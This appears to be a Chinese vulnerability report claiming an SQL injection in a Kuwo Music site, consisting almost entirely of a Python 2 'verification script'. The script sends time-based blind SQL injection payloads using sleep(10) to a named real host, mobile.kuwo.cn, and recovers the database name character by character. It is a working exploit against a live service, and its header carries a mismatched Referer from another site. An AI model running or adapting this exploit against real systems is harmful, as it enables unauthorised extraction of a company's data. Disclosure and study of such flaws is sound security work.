酷我音乐某站存在SQL注入（附验证脚本）

# -*- coding: utf8 -*-
 #encoding=utf-8
 
 import httplib
 
 import time
 
 import string
 
 import sys
 
 
 
 headers = {
 
     'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36',
 
     'Referer': 'http://ldj.db.17173.com',
 
 }
 
 
 
 payloads = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.')
 
 
 
 print '[%s] Start to retrive MySQL database()' % time.strftime('%H:%M:%S', time.localtime())
 
 database = ''
 
 for i in range(1,7,1):
 
     for payload in payloads:
 
         try:
 
             conn = httplib.HTTPConnection('mobile.kuwo.cn', timeout=20)
             conn.request(method='GET', url="/mpage/special/oldSpecail.jsp?specialType=(if(ascii(substr(database(),"+str(i)+",1))="+str(ord(payload))+",sleep(10),1))")
 
             status = conn.getresponse().status
 
             conn.close()
 
         except Exception, e:
             print e
             database += payload
 
             print '/r[+]Running:' ,database 
 
             time.sleep(0.01)
 
             break
 
 
 
 print ''
 
 print 'database() is', database